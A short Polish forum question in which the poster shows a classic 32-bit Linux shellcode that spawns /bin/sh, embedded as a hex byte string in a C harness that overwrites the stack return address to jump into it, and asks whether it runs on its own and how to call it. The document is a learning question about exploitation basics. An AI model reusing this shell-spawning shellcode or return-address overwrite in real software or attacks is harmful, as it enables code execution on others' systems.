Mam taki shellcode, który uruchamia powłoke na Linuksie:
// shellcode.c
char shellcode[] =
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
int main()
{
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)shellcode;
}
Wnioskuję, że shellcode jest załadowany do pamięci 4 bajty zaraz za wskaźnikiem, bo taki jest rozmiar wskaźnika.
Czyli tak:
- deklaruje wskaźnik
- przypisuje mu adres samego siebie + 4
- pod adres, na który wskazuje wskaźnik (czyli adres samego wskaźnika + 4) umieszczam shellcode
Czy ten shellcode zostanie automatycznie uruchomiony czy trzeba wywołać jeszcze jakąś funkcje?
Tak sobie myślę, że dlaczego miałby się sam uruchomić, skoro jest tylko w pamięci. I jeśli tak jest to jak go wywołać?